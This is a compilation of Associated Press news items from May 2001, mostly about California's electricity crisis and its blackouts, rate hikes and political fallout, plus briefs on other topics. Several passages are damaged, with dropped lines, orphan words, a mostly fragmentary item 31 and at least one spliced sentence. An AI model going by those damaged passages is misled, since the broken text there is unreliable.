Cox say Davis should pay them with campaign funds, not taxpayers' money.

??- Shares of Edison International closed at $11.23, down 51 cents. PG&E Corp.
dropped 48 cents to close at $11.16.

??WHAT'S NEXT:

??- Davis' representatives continue negotiating with Sempra, the parent 
company
of San Diego Gas and Electric Co., to buy the utility's transmission lines.

??- Davis is scheduled to sign a bill Tuesday that would expedite power plant
siting.

??- Republican Assemblyman Mike Briggs plans to introduce a bill that would
allow people to know a month ahead if they will be affected by rolling

??THE PROBLEM:

??High demand, high wholesale energy costs, transmission glitches and a tight
supply worsened by scarce hydroelectric power in the Northwest and maintenance
at aging California power plants are all factors in California's electricity 
crisis.

??Edison and PG&E say they've lost nearly $14 billion since June to high
wholesale prices the state's electricity deregulation law bars them from 
passing
on to consumers. PG&E, saying it hasn't received the help it needs from
regulators or state lawmakers, filed for federal bankruptcy protection April 
6.

??Electricity and natural gas suppliers, scared off by the two companies' poor
credit ratings, are refusing to sell to them, leading the state in January to
start buying power for the utilities' nearly 9 million residential and 
business
customers. The state is also buying power for a third investor-owned utility,
San Diego Gas & Electric, which is in better financial shape than much larger
Edison and PG&E but also struggling with high wholesale power costs.

??The Public Utilities Commission has approved average rate increases of 36
percent for residential customers and 38 percent for commercial customers, and
hikes of up to 49 percent for industrial customers and 15 or 20 percent for
agricultural customers to help finance the state's multibillion-dollar power
buys.

??????????????????????????????26 of 85 DOCUMENTS

?????????????????????????????3:05 AM Eastern Time

LENGTH: 576 words

HEADLINE: California will forecast blackouts and warn the public

BYLINE: By JENNIFER COLEMAN, Associated Press Writer

DATELINE: SACRAMENTO, Calif.

BODY:

??The operator of California's electricity grid is offering a partial answer 
to
a major consumer complaint, planning to give the public a half-hour's warning
before shutting off the lights.

??Beginning May 30, the Independent System Operator also plans to issue
warnings similar to weather advisories 24 hours before expected blackouts.

also
other

??"Definitely, it's a good idea," said Shirley Starr, a racetrack employee in
the Los Angeles suburb of Rosemead. "If I know it's going to happen, I won't
defrost the refrigerator or something."

??Like some business customers and consumer groups, she wondered if 30 minutes
warning would be enough.

??"A lot of people, if they are at work, a half hour isn't going to do any
good," Starr said.

??"I think it should be more than 30 minutes," said George Aguilar, an animal
control officer in El Monte. "It should be at least eight hours."

air

without stoplights, trapped people in elevators, and caused business losses by
bringing production lines to a halt. People with home medical equipment like
oxygen fret they that they will be cut off without warning.

??The new plan by the ISO borrows from the language of weather forecasters: It
will issue a "power watch" or "power warning" that will give notice the grid
could be headed toward blackouts.

??The ISO will issue 30-minute warning to the media and others before any
blackouts actually begin. However, the ISO will not say what neighborhoods 
will
be hit.

??"It's better than no notice," said John Handley of California Independent
Grocers.

??He said stores could use the warning to rush customers through checkout and
even move items to cold storage if necessary.

??"Once the power goes out, we can't ring anyone up," Handley said.

??Many small factories have production lines that cannot be interrupted 
without
risk to an entire lot of whatever they produce, said Brad Ward, president and
chief executive of the Small Manufacturers Association of California.

??For example, a manufacturer might be using acid to etch something on a piece
of metal. If power is shut off suddenly, the acid might not be removed in time
and the piece would be ruined.

??"This is really, really good news," Ward said.

??The ISO said it also is looking into high-tech ways it can get word of an
impending blackout quickly to homeowners and businesses through mass e-mails,
faxes, automated phone calls and pager messages.

??On the Net:

??California Independent System Operator: http://www.caiso.com
 
??????????????????????????????27 of 85 DOCUMENTS

???????????????????????Copyright 2001 Associated Press

??????????????????????????????????AP Online

?????????????????????????????May 21, 2001; Monday

SECTION: Domestic, non-Washington, general news item

LENGTH: 793 words

HEADLINE: ?AP Top News at 7 p.m. EDT Monday, May 21, 2001

BYLINE: ADAM JOYCE

BODY:

??Ford to Recall Millions of Tires

??WASHINGTON (AP)

??Ford Motor Co. plans to replace 10 million to 13 million Firestone tires, 
far
surpassing the already huge recall ordered last summer by 
Bridgestone/Firestone
Inc., auto industry sources told The Associated Press today. Ford CEO Jacques
Nasser said he would make an announcement tomorrow about ''actions to 
address''
issues involving Firestone Wilderness AT tires. Earlier today, Firestone said 
it
no longer would sell tires to Ford, ending a 95-year relationship that 
unraveled
with last summer's recall of 6.5 million Firestone tires, which have been 
linked
to at least 174 U.S. traffic deaths.

??Cheney Hosting GOP Donors

??Four hundred Republican donors are getting a private reception with Vice
President Dick Cheney at his government residence tonight as part of a GOP
fund-raising blitz that critics say is reminiscent of the Clinton White House
coffees. Fund-raising watchdogs said Cheney's use of his residence was no
different from President Clinton's use of the White House for fund-raising,
which became the focus of Republican-led congressional inquiries. But a
Republican National Committee spokesman said the Cheney event ''is not a
fund-raiser.''

??GOP Set to Complete Tax Bill

??Even before tonight's expected Senate passage, the Bush administration and
congressional Republicans were looking ahead to rewriting the 11-year, $1.35
trillion tax cut plan in negotiations set to begin tomorrow. The bill was to 
be
sent to a House-Senate conference committee, where conservatives will push to
accelerate income tax cuts and to slash the top 39.6 percent income tax rate
more deeply than the 36 percent called for in the measure.

??California to Forecast Blackouts

??SACRAMENTO, Calif. (AP)

??The operator of the state's electricity grid said today it will start 
issuing
forecasts 24 hours ahead of expected rolling blackouts. The agency also 
promised
to give 30 minutes' warning before it orders utilities to pull the plug on 
homes
and businesses, a move that could prevent traffic accidents, stuck elevators 
and
costly shutdowns at factories. The state's power system, crippled by a botched
effort at deregulation, has been unable to produce or buy enough electricity 
to
power air conditioners on hot days.

??Powell Calls for Mideast Talks

??Secretary of State Colin Powell today endorsed recommendations aimed at
ending the violence between Israel and the Palestinians, and he appointed U.S.
diplomat William Burns to shepherd a resumption of talks. Powell called for an
immediate cease-fire and said a new report may make possible the ''framework 
and
timeline'' for getting the parties to negotiate after eight months of 
violence.

??Bush Addresses Alma Mater

??NEW HAVEN, Conn. (AP)

??President Bush, acknowledging his raucous years as a Yale University 
student,
returned today to the alma mater he once scorned and told graduates, ''Life is
ours to live, but not to waste.'' There were boos and protests from some in 
the
crowd, but his remarks were generally well received, with laughter at his 
jokes.

??House GOP Backs Immigrant Visa Extension

??House Republicans pressed ahead today with a bill to extend by four months
the deadline for illegal immigrants to stay in the country and apply for 
visas.
The House bill was scheduled for a vote tonight in an expedited process. An
estimated 640,000 illegal immigrants were eligible under the Legal Immigration
and Family Equity Act to apply for visas without leaving the country. The law
took effect in December and expired April 30.

??Iraq Rejects Plan to Ease U.N. Sanctions

??BAGHDAD, Iraq (AP)

??President Saddam Hussein today rejected a British proposal to ease U.N.
sanctions on Iraq, saying the plan shows that the embargo had failed. The
proposal, which is endorsed by the United States, would still bar Iraq from
importing goods on a U.N. list of military-related items.

??Nasdaq Gains 107; Dow Closes Up 36

??NEW YORK (AP)

??Wall Street went on a technology buying spree today, sending the Nasdaq
composite index soaring more than 100 points. The Nasdaq ended up 106.71 to
2,305.59, while the Dow Jones industrial average closed up 36.18 at 11,337.92.
Gainers led losers 2 to 1 on the New York Stock Exchange.

??Raiders Lose $1.2B Suit Vs. NFL

??LOS ANGELES (AP)

??The Oakland Raiders lost their $1.2 billion lawsuit against the National
Football League today as jurors rejected claims that the league sabotaged a 
deal
for a new stadium and forced them to leave Los Angeles. The jury rejected
allegations of breach of contract, unjust enrichment and other violations of 
the
NFL constitution and bylaws.

LOAD-DATE: May 21, 2001

??????????????????????????????28 of 85 DOCUMENTS

SECTION: International news

LENGTH: 678 words

HEADLINE: ?Monday's Canada News Briefs

BYLINE: The Associated Press

BODY:

??Toronto Taxi Cabs Are Going High-Tech for Security

??TORONTO (AP)

??It has been more than a year since a taxicab driver was killed on the job in
Canada, but safety is still a paramount concern on some big-city streets.

??Because of that, the next time you slide into a cab in Canada's most 
populous
city, you may find yourself staring into a camera.

??Late last year, Toronto city council enacted a bylaw requiring that taxicabs
be equipped with emergency lights and either a security camera or technology
that allows a computer to locate the car.

??The bylaw was largely prompted by the murders of cabbies Mohammadulah
Saighani, 48, on Dec. 20, 1999, and Baljinder Singh Rai, 48, killed two days
later on New Year's Day 2000.

??The deadline was set for late last month but some of the safety devices are
still being phased in.

??In April 2000, the city with the world's most infamous taxicabs, New York
City, implemented a safety overhaul, requiring that all cabs be equipped with
either a security camera or bullet-resistant partition. It also banned cab
drivers from talking on cellphones while driving, or as city officials put it,
''No Yakking While Hacking!'' concludes the study from the agency's compliance
programs branch.

??___

??Energy Group: Ontario Consumers Must Be Wary on Electricity Rebate

??Ontario consumers may be unwittingly signing away a valuable rebate on their
electricity prices to private utility companies, says the head of an energy
watchdog group.

??The Market Power Mitigation rebate was created in 1999 to offset a potential
rise in power prices once Ontario's electricity market is opened to 
competition,
sometime next spring.

??Sales representatives from private electricity marketing companies have been
knocking on Ontario doors for months, asking homeowners to sign on for a fixed
electricity rate when the market opens.

??Tom Adams, director of Energy Probe, says consumers may not notice a
fine-print clause which, in many of the agreements, hands the potential rebate
over to the electricity firm.

??While there may be nothing wrong with such a clause, consumers by and large
don't even know it or the rebate exists, Adams says.

??''If the price is right, it's a balanced transaction, but the problem is
nobody has any information, and the public agencies aren't doing their job of
explaining it to us.''

??The rebate is supposed to kick in for consumers when the yearly average cost
of electricity for a household rises above a benchmark price of 3.8 cents per
kilowatt hour.

??The rebate is designed to shield consumers from massive price spikes such as
those seen in Alberta and California, where deregulated markets have recently
seen a tripling of prices and rolling blackouts.

??___

??Man Accused of Killing Alberta Girl Is Due in Court

??LETHBRIDGE, Alberta (AP)

??Sylvia Koopmans was bracing Monday for the moment when she would face the
family friend charged with the murder of her youngest daughter.

??Koopmans said she planned to attend Tuesday's first court appearance of
Harold Anthony Gallup, 31, who is charged with the kidnapping and first-degree
murder of five-year-old Jessica.

??''I need to be there,'' said Koopmans, who planned to watch the provincial
court proceeding supported by her boyfriend and her father.

??''I need him to see me ... I want him to see my face.''

??Gallup, whose girlfriend Roseanna Soenens was Koopmans' best friend, was
charged Saturday by Lethbridge police. He had been in custody since May 12, 
when
he was charged with a car break-in at nearby High River.

??Koopmans said Gallup was a regular visitor to her home and had been playing
there with Jessica, her sister and two other kids the day the little girl
disappeared.

??Jessica vanished May 4 after she went to play at a friend's house.

??Her tiny body, naked and bruised, was found a week after she disappeared. A
couple walking a dog made the grisly discovery in a farmer's field near Fort
Macleod, Alberta, about 50 kilometres from her home.

??Police have not said if she was sexually assaulted.

??????????????????????????????30 of 85 DOCUMENTS

?????????????????????????????The Associated Press

????????????????????????May 21, 2001, Monday, BC cycle

SECTION: Domestic News

LENGTH: 1473 words

HEADLINE: Infrastructure strains tearing at West

BYLINE: By PAULINE ARRILLAGA, Associated Press Writer

DATELINE: LAS VEGAS

BODY:

??Drive down the Las Vegas Strip and take in the sights: The fountains and
canals, the marquees that light up the sky for miles, the people pressed
shoulder to shoulder and bumper to bumper.

??Las Vegas is a desert awash in water and watts, a city built in defiance of
its very surroundings. It is at once a triumph of technology and Western
gumption, and a reminder of how tenuous it all is.

??The great growth in the West followed a simple recipe: Water plus power
equals population. There was always a feeling that the land was so big you
couldn't use it up, not the resources, not the space.

??Today there are signs that's no longer true. In California, blackouts. In
Oregon and Washington, drought. In Arizona, arsons to stop construction. And 
in
every rearview mirror, more traffic all the time.

??The allure of vast prairies, open skies and endless opportunity is what 
first
drew people out West. But as deserts disappear under development, 
possibilities
become problems.

??Now, with its infrastructure strained by growth, the West faces difficult
choices: Energy or environment? Freeways or orchards? Water for people or 
fish?

??"We're losing what we've come for, this ideal," says James Corless,
California director of the Surface Transportation Policy Project, which aims 
to
diversify transportation systems to reduce traffic and pollution caused by
growth. "And we are loath to change."

??---

??When the streets went dark in California, a light bulb came on across the
West.

??The region saw its vulnerability. For one very important resource, demand 
had
won out over supply. What about all the others?

??"We've got an infrastructure that can't really carry much additional power.
We're starting to see the same situation with water," says John Maddox,
president of the Denver-based Center for the New West.

??And people keep coming.

??The West added more than 10 million people in the 1990s, making it the
fastest-growing region in the United States. In the next decade, another 10
million are expected.

??"What does that mean?" Maddox says. "How many new roads, new water
infrastructure and treatment facilities, how many new runways and airports?"

??Perhaps more than clogged freeways and periodic droughts, the power crisis
has brought home the reality that there are limits to growth.

??In California, electricity consumption rose 24 percent in the past five 
years
as the economy grew by 29 percent. However, no major new plants were built in
the state in the past 10 years, according to Cambridge Energy Research
Associates.

??Several projects to generate new power were shelved in the 1990s, because of
regulatory red-tape, environmental protests, economics and wariness over the
state's deregulation plan.

??As a result, the power ran low and California was forced to go to the open
market in search of electricity, sending power rates soaring and shutting out
the lights in rolling blackouts.

??California officials now predict it will take two to three years before
energy production catches up with demand.

??Meanwhile, the crisis has crossed state lines. In the Northwest, generating
capacity grew 4 percent in the 1990s, while demand grew 24 percent. That 
wasn't
a problem when abundant rain and snow produced above-average hydropower
generation between 1995 and 2000.

??Then drought hit, and generation dropped. Washington, Oregon, Idaho and
Montana are about 3,000 megawatts short of the electricity they need.

??Now everyone's playing catch-up. California is on a plant-building spree,
while other states are pushing conservation and looking for alternative fuel
sources.

??Even in power-hungry Las Vegas, the mega-resorts are cutting back. The MGM
Grand refitted its 5,000 guest rooms with low-watt fluorescent bulbs and 
changed
its casino-floor lighting. Treasure Island's parking garage is switching to
sodium bulbs that use 30 percent less energy.

??But a feeling of dread is gripping some Westerners. If the lights can go 
out,
what's next? Dry faucets?

??"The thing I worry about is water," says Carol Ann Heggie-Hall, a retired
science teacher who moved from Queens, N.Y., to Henderson, Nev., in 1999. "Is
there enough water for everyone and their plants?"

??Much of the West is facing the worst drought in a quarter-century, prompting
warnings of environmental degradation, forest fires and agricultural decline.
Nevertheless, experts say the West isn't in danger of running out of water. 
The
challenge is determining who gets how much.

??"It doesn't take a rocket scientist to see that if the faucets ran dry in
Scottsdale, there are places to go to get water," says Joe Hunter, a power and
water specialist at the Center for the New West. "But it means shifting it 
from
one use to another."

??About 80 percent of water in most Western states is used to irrigate crops, 
a
percentage that could drop if residential supplies were strained, Hunter says.

??Western states and cities must also do more to share water.

??California has long used more than its allocation from the Colorado River,
which supplies drinking water to seven Western states. An agreement allows
California to receive surplus water if it implements conservation measures 
that
will reduce its reliance on the river in the future.

??In the meantime, Western cities are looking elsewhere to sustain the supply.
The Las Vegas Valley predicts it will reach its annual Colorado River 
allocation
by 2007, so its regional water authority is negotiating to store 1.2 million
acre feet of water in Arizona for the next 15 years.

??Beyond power and water, other infrastructure problems persist. In the Vegas
area, which added 700,000 people in the '90s, road closures due to highway
expansions are a daily occurrence.

??"There are few roads you can drive on that aren't under construction," 
admits
Jim Gibson, mayor of Henderson, a city south of Vegas that is among the
country's most rapidly growing communities.

??Without the new roads, Vegas transportation officials estimate there would 
be
2,289 miles of congestion by the year 2025, compared with 341 miles last year.

??Highways alleviate congestion, but also drive more growth.

??Interstate 5, the north-south freeway through Washington and Oregon, became 
a
growth magnet. In Colorado, Interstate 70 has opened the mountains to 
staggering
growth west of Denver.

??--

??In the fastest-growing metro area in the fastest-growing state in the
fastest-growing region of the country, Greg Cox and Dale Stark are unloading
dirt on a Las Vegas street crammed with construction workers.

??The landscapers are a rare breed in a town teeming with newcomers: Cox has
lived here all his life; Stark moved from Southern California in 1979.

??Both grumble about the changes they've seen, and both vow to leave.

??"I moved here when this town was nice," Stark says. "Now you can't drive 
down
the road without getting cut off and flipped off."

??Cox complains he can barely get around at all. A drive across town used to
take 20 minutes. Now, he grunts, "You've got to pack a lunch."

??Both agree: Even Las Vegas, the city built on the very idea of unlimited
resources and space, is reaching its limits.

??The sentiment is spreading across the West: Unbridled growth must stop.

??Planning experts insist cities must reinvest in old neighborhoods rather 
than
build new ones, and provide incentive to plan for growth in a way that
incorporates existing infrastructure.

??Portland, Ore., has been a national leader with its urban growth boundary. 
In
San Francisco, a program provides federal money to developers who build homes
near transit stops.

??Still, when initiatives to rein in growth were placed on the ballot in
several Western states last November, most of the big measures failed -
including one in Arizona to force developers to pay for new infrastructure.
Opponents warned that growth controls would be bad for business.

??In Las Vegas, despite infrastructure challenges, the official line remains
that growth is good.

??"As long as you can take care of the social problems and quality of life
problems, there's never such a thing as too much growth," declares Mayor Oscar
Goodman. "Once you stop growing, you stagnate."

??And so for now, the fountains flow, the marquees shine.

??And the people keep coming.

??Center for the New West: www.newwest.org/

??Sierra Club sprawl campaign: www.sierraclub.org/sprawl/population.asp

??Census stats: www.census.gov/population/cen2000/phc-t2/tab03.pdf

??Las Vegas growth topics website: 
http://www.ci.las-vegas.nv.us/hotgrowth.html
 
??Surface Transportation Policy Project: http://www.transact.org/
 
??Brookings Institution's Center on Urban and Metropolitan Policy:
http://www.brook.edu/es/urban/urban.htm
 
??EDITOR'S NOTE - Pauline Arrillaga is the AP's Southwest regional writer,
based in Phoenix.

??End ADV for May 26-27

GRAPHIC: AP Photos NY372-375 of May 21, AP Graphic WESTERN GROWTH, AP

??????????????????????????????31 of 85 DOCUMENTS

SECTION: Domestic News; Business News

LENGTH: 648 words

BODY:

??Californians will soon be waking up to the weather, the traffic - and a

??The operator of the state's electricity grid said Monday it will start

also
other

air

without stoplights, people trapped in elevators, and losses caused by stopped
that

will
be hit.

??Assemblyman Fred Keeley, the Legislature's point man on energy, acknowledged
that scheduling blackouts could attract criminals and open the state to legal
liability for accidents at blacked-out intersections.

??"That is a genuine problem and genuine concern," Keeley said earlier. "I
think we would have to work with local governments so they could have a
sufficient advance notice to be able to foresee that and try to deploy their
resources appropriately."

??State Assemblyman Mike Briggs said he plans to introduce a bill that would
have the Public Utilities Commission notify businesses and homeowners as much 
as
one month ahead of time when they would have their power cut.

??"We owe the people of this state some kind of schedule," Briggs said. "If
businesses and individuals knew what days their power could potentially be 
shut
off or blacked out, they could plan for that blackout accordingly."

??????????????????????????????32 of 85 DOCUMENTS

LENGTH: 229 words

HEADLINE: Survey: Gov. Davis' ratings, public confidence take dive

BYLINE: By ALEXA HAUSSLER, Associated Press Writer

BODY:

??Californians' confidence in Gov. Gray Davis and the economy has plunged in
the face of a statewide energy crisis, according to a poll released Monday.

??"This crisis and general economic uncertainty have severely undermined 
public
confidence in California's future and in its leaders," said Mark Baldassare,
director of the survey by the Public Policy Institute of California.

??The institute, a nonprofit organization that researches economic, social and
political issues, interviewed 2,001 adult California residents, in English and
Spanish, between May 1 and May 9. The poll has a margin of error of plus or
minus 2 percentage points.

??Forty-six percent said they approve of the way the Democratic governor is
handling his job, down from 66 percent in September.

??And for the first time since the mid-1990s, more of the state's residents -
48 percent - believe that California is headed in the wrong direction.
Forty-four percent believe it is on the right track.

??The poll also found that Californians blame the electric utility companies
more than anyone else for the energy crunch. Thirty-two percent said they 
fault
utilities, while 26 percent blame former Gov. Pete Wilson and the Legislature,
10 percent blame Davis and the current Legislature and 10 percent blame power
generators.

??Public Policy Institute of California: www.ppic.org

??????????????????????????????33 of 85 DOCUMENTS

LENGTH: 720 words

HEADLINE: Grid officials, others studying planned blackouts

BODY:

??Could Californians be waking up to hear a weather report, a pollen count and
an electricity blackout forecast?

??It's not out of the question, say some lawmakers.

??"I actually think it's a thoughtful plan ... to give folks an opportunity to
understand the likelihood of blackouts on a daily basis," Assemblyman Fred
Keeley, D-Boulder Creek, the Assembly's point man on energy.

??Keeley compared it to "weather forecasting, to be able to look at the next
three or four days, have a percentile about the likelihood of blackouts."

??The Independent System Operator, keeper of the state's power grid, is
expected to release a report Monday detailing how such a plan would work.

??The idea is "to provide a lot of information so people can make choices to
live with blackouts on a temporary basis this summer," Keeley said.

??Peter Navarro, a University of California, Irvine, economics professor,
released a report last month with a consumer group that recommends the state 
set
a price limit on what they'll pay for power. And if generators don't lower the
price, the state should schedule blackouts to cut consumption, he said.

??The report by Navarro and the Utility Consumers' Action Network says the
state's current method of "highly disruptive random rolling blackouts" needs 
to
be revamped.

??UCAN suggests that the state be divided into blackout zones that utilities
could notify ahead of time that power would be cut at a specific time and for 
a
certain duration.

??Scheduling blackouts could attract criminals to outage areas, Keeley
acknowledged, and possibly could subject the state to legal liability for
traffic accidents or other incidents if power is deliberately shut off.

??"That is a genuine problem and genuine concern," Keeley said. "I think we
would have to work with local governments so they could have a sufficient
advance notice to be able to foresee that and try to deploy their resources
appropriately."

??Critics of the planned blackouts said power producers simply could sell 
their
unused electricity to other states, or trim back production to keep supplies
short.

??Assemblyman Mike Briggs, R-Fresno, plans to introduce a bill this week that
would have the Public Utilities Commission notify businesses and homeowners as
much as one month ahead of time when they would have their power cut.

shut

??The Central Valley Republican said the ability to plan for outages would be
especially benefit farmers, who need power to irrigate their crops.

??Assembly Speaker Robert Hertzberg, who convened a special subcommittee on
blackouts, has also suggested the state should consider scheduling daily
blackouts to cut the state's power use and drive down prices. Democratic
Assembly members plan to introduce their own version of a blackout plan.

??Sen. Debra Bowen, D-Marina del Rey, has said she envisions giving consumers
three to five days notice that their power will be cut during a particular
period, so businesses could opt to shut down or shift their operations to
nonpeak hours such as nights and weekends.

??And by treating blackouts as a first option rather than a last resort, the
state could cut its peak power needs and drive down prices, Bowen said.
California power consumers would in essence form "a reverse cartel to stop the
market manipulation and the price gouging," she said.

??The planned blackout suggestions come as state officials grow increasingly
concerned that power prices will keep rising this summer, even beyond the
extraordinary levels the state already has been paying on behalf of three
cash-strapped privately owned utilities.

??Gov. Gray Davis said the state paid $1,900 per megawatt hour at one point
last week.

??The state has dedicated $6.7 billion since mid-January to purchase power for
Pacific Gas and Electric, Southern California Edison and San Diego Gas and
Electric. 

??Those expenditures will be repaid this summer when the state issues $13.4
billion in revenue bonds. The bonds will be repaid by ratepayers over 15 
years.

??---

??California Independent System Operator: http://www.caiso.com/
 
??????????????????????????????34 of 85 DOCUMENTS

LENGTH: 901 words

HEADLINE: 'Baseline' becoming key word for electric customers

BYLINE: By KAREN GAUDETTE, Associated Press Writer

DATELINE: SAN FRANCISCO

BODY:

??A little calculation on electric bills is fast becoming a big concern for
millions of residential customers of California's two largest utilities.

??Sitting near the top of Southern California Edison electric bills, and near
the bottom of the last page of Pacific Gas and Electric bills, is a number
called baseline, which guarantees a certain amount of electricity at the 
lowest
price utilities charge.

??This number, which differs from customer to customer based on a host of
factors, is the benchmark for determining how much more residents will pay for
electricity come June - when the largest rate hikes in California history 
start
showing up on bills.

??"Now with deregulation and prices being so much higher, it's going to 
require
that people educate themselves about their bills the same way they had to do
when long distance telephone service was deregulated," said Commissioner Carl
Wood of the Public Utilities Commission.

??Under a rate-hike allocation plan approved Tuesday by the PUC, everyone who
exceeds baseline by more than 30 percent will pay progressively more for that
additional electricity - with the heaviest residential users facing a 37 
percent
average hike on their overall bill, translating to an increase of roughly $85 
a
month.

??State law ensures that residential customers who don't use more than 30
percent above baseline will not face the rate hikes. The PUC figures around 
half
of PG&E and Edison customers now fall into that category.

??But consumer rights groups, and even the utilities, think the PUC is
underestimating residential electric use, given the recent proliferation of 
home
computers, cell phone chargers and the like.

??They think baseline is set too low for many customers, and say families and
people who work at home will pay more than their fair share of the rate hikes.

??"It's an anti-family action. People with kids have a hard time staying 
within
baseline," said Mike Florio, senior attorney with The Utility Reform Network. 
"A
rate hike of 30 to 40 percent could be 100 percent for people with large
households."

??Since 1982, when lawmakers created baseline - given in cents per kilowatt
hour per month - to ensure a minimum amount of affordable power and encourage
conservation, the PUC has determined baseline by dividing the state into
climatic and geographic regions.

??PG&E has 10 such regions within its service territory in northern and 
central
California; Edison has six in central and southern California. 

??The PUC then finds the average amount of electricity use for customers 
within
each region. The baseline quantity is 50 percent to 60 percent of that amount,
and up to 70 percent of that amount during the winter months if a customer 
uses
only one type of energy (electricity or natural gas).

??Customers who depend on electronic medical equipment such as suction,
breathing and dialysis machines, can apply for a slightly higher baseline.

??A family living in the scorching hot Coachella Valley would have a larger
allotment of lower-priced electricity than a family living in breezy Monterey,
given that air conditioning for the former is necessary to survival.

??Since baseline is based on averages, a single apartment dweller and a family
of four who live in the same region could have the same baseline. That makes 
it
more likely for the family to get hit with rate hikes and less likely,
economists fear, that the apartment dweller has a financial incentive to
conserve.

??"Where it is imperfect is that it has no ability to make any adjustments for
the size of the family," said John Nelson, a PG&E spokesman.

??Focusing baseline on household size gets complicated, Florio said. "Does 
PG&E
come by and do bed checks?"

??Along with raising $5.7 billion to replenish the state's general fund for
power buys since January, the rate hikes approved March 27 by the PUC and
allocated on Tuesday were also meant to trigger conservation that could help
avoid rolling blackouts this summer.

??Baseline has not been reassessed since the early 1990s. PUC president 
Loretta
Lynch and fellow commissioner Wood say they may hold hearings as early as this
coming week on possible inequities and ways to update the system.

??"There was plenty of testimony at public hearings that people suspect that
baselines are not appropriate or are not calculated right," Wood said.

??Wood said when baseline first was created nearly 20 years ago, houses were
smaller and many lacked central air conditioning.

??Though the PUC has updated baseline amounts through the years, "living
standards have changed, housing standards have changed and it may be that
average usage is different from what it was," Wood said.

??Florio said giving baselines a second look could go either way for 
consumers.
There are typically more electronic gadgets in homes these days, but many of
those gadgets and appliances are more energy efficient than their ancestors.

??Add that to increased conservation statewide, Florio said, and there's a 
slim
chance baselines could actually go down and expose more customers to rate 
hikes.

??"It's a percentage of average use historically, and people have used energy
more efficiently," through the years, Florio said.

??---

??California Public Utilities Commission: http://www.cpuc.ca.gov
 
??Pacific Gas and Electric Co.: http://www.pge.com
 
??Southern California Edison Co.: http://www.sce.com
 
??????????????????????????????35 of 85 DOCUMENTS

LENGTH: 273 words

HEADLINE: New poll suggests Californians haven't been this gloomy for years

BODY:

??Not since the mid-'90s have more Californians believed the state is headed 
in
the wrong direction.

??And it may get worse. ?Nearly 60 percent of state residents expect the
economy to worsen in the next year, while about 40 percent see a brighter
horizon, according to a new poll.

??The telephone survey of 2,001 adult Californians was done over eight days in
early May by the nonpartisan Public Policy Institute of California. The poll 
was
conducted in English and Spanish.

??The twin culprits were the souring economy and the electricity crisis.

??"Californians clearly see the electricity crisis as a harbinger of other
growth-related problems," said Mark Baldassare, the research institute's 
survey
director. "This crisis and general economic uncertainty have severely 
undermined
public confidence in California's future and in its leaders."

??Change has come swiftly.

??In January, 62 percent of state residents said California was headed in the
right direction, compared to 48 percent this month.

??Other key findings include:

??-82 percent of respondents said population growth over the next 20 years 
will
make California a less desirable place to live.

??-86 percent of respondents said the electricity crisis will hurt the state's
economy.

??-43 percent of respondents favor building more power plants, up from 32
percent in January. The second most popular solution, re-regulating the
electricity industry, was the favored solution in January.

??-Traffic congestion, affordable housing, air pollution and a shortage of 
good
jobs top the list of negative consequences respondents foresee from the 
state's
population growth.

??????????????????????????????36 of 85 DOCUMENTS

LENGTH: 2497 words

BODY:
By The Associated Press

??Excerpts from recent editorials in Iowa newspapers:

??Energy:

??DES MOINES REGISTER:

??Does it seem ironic that an Iowa "energy crisis" just happened to come at a
time when power companies are pushing state lawmakers to relax the rules for
building power generating plants?

??With three power plants down for repairs last week when temperatures spiked,
large customers in eastern Iowa were notified their electricity would be cut
off. Headlines proclaimed a "crisis," and legislative leaders shifted into an 
"I
told you so" mode.

??Hold the phone.

??This is not California. There is no crisis. Customers with interruptible
service contracts have always been subject to cutoffs in times of peak
consumption or when generators are down.

??It may not be fair to suggest that Alliant Energy chose to idle three of its
biggest generators to make the case for changing the law, but the timing is
nonetheless convenient. The Legislature is set to convene a special session 
in a
few weeks, and among the business left over from the regular session could be 
a
bill to make it easier for power companies to build electric generating 
plants.

??While crisis is not imminent, Iowa does face the prospect of consuming more
electricity than the state's utilities are able to generate themselves. ...

??While Iowa's law may need some "streamlining," which could be dealt with in 
a
special session, that should not be the end of the matter. Ultimately, the
Legislature must fashion a long-range energy policy for this state that takes 
a
regional view of energy, that reflects new market and regulation realities, 
and
that seizes the potential for conservation and renewable alternatives to 
fossil
fuels.

??Legislative session:

??TELEGRAPH HERALD

??Even after a marathon legislative session - this one lasted 121 days - why
does it always seem the big-ticket items are pushed through in the final days?

??This year's session started out strong, passing a bill to save taxpayers
money by eliminating the sales tax on residential utility bills. It finished 
up
by coming through with $40 million for teachers' pay.

??But just what happened in those middle 100 or so days is a little murky.
There was plenty of hand-wringing about the budget shortfall, the usual banter
about dove hunting and a fair amount of partisan bickering. ...

??-Legislators didn't get around to a ... bill to close a loophole in Iowa's
Open Records law. The way it stands now, a governmental body can use a private
contractor to investigate problems within the department and keep that
contractor's report confidential under the law's whistle-blower provision. ...

??-The Legislature didn't want to get into a full-blown gambling debate, so it
didn't address a tax freeze at racetracks. ... The issue of fairness needs to 
be
addressed.

??Floating casinos pay a 20 percent tax, while racetracks pay a gradually
increasing tax that now stands at 30 percent. Under the law enacted in 1997,
that tax will grow to 36 percent by 2004.

??-Other things that legislators talked about but didn't get around to 
include:
cutting state income tax on Social Security income and a pair of bills
addressing the state's bottle-deposit law.

??So the 2002 Legislature will have its work cut out for it. Here are some 
jobs
for next year's to-do list:

??-Amend the Open Records Law. Allowing agencies to keep information about
government activities secret simply because it is in the possession of an
outside contractor is a hole in the law that needs to be fixed.

??-Carry the ball on increasing teachers' pay. The $40 million shot in the arm
will have been a waste if the program is left hanging unfunded.

??-Freeze the amount of tax racetracks pay where it stands and stop the
hemorrhaging of dollars into state coffers. The disparity between racetracks 
and
riverboat casinos needs to be righted.

??And if they're worried that the discussion will draw an all-out gambling
debate, lawmakers might want to bring it to the table before May.

??IOWA CITY PRESS-CITIZEN:

??We agree with Gov. Tom Vilsack that the new state budget approved by
legislators "will cause hardship for people and families across our state."

??That's what happens when you face a $300 million revenue shortfall, and you
don't have as much money as you wanted.

??But we disagree that "for 3 1/2 months, they did very little."

??On the contrary, Vilsack got what he said all along would be the high mark 
of
this session - $40 million for teacher pay raises and a new system for teacher
pay.

??And the Republican-led Legislature also agreed to phase out the sales tax on
utilities, long a goal of Vilsack's Democratic Party.

??Are we happy with the budget? No.

??Is it the best we likely can do under the circumstances? Yes.

??Vilsack should sign budget legislation, rather than vetoing it and calling a
special session of the Legislature this summer. ...

??Plant Sciences Institute:

??Iowa needs more people, especially young people. Iowa needs more jobs that
pay well - the kinds of jobs that cause other businesses, small and large, to
spring up here. So why did Iowa lawmakers blow the single best opportunity for
both?

??They blame it on a tight budget. Blame them for failing to grasp the big
picture. The fledgling Plant Sciences Institute at Iowa State University could
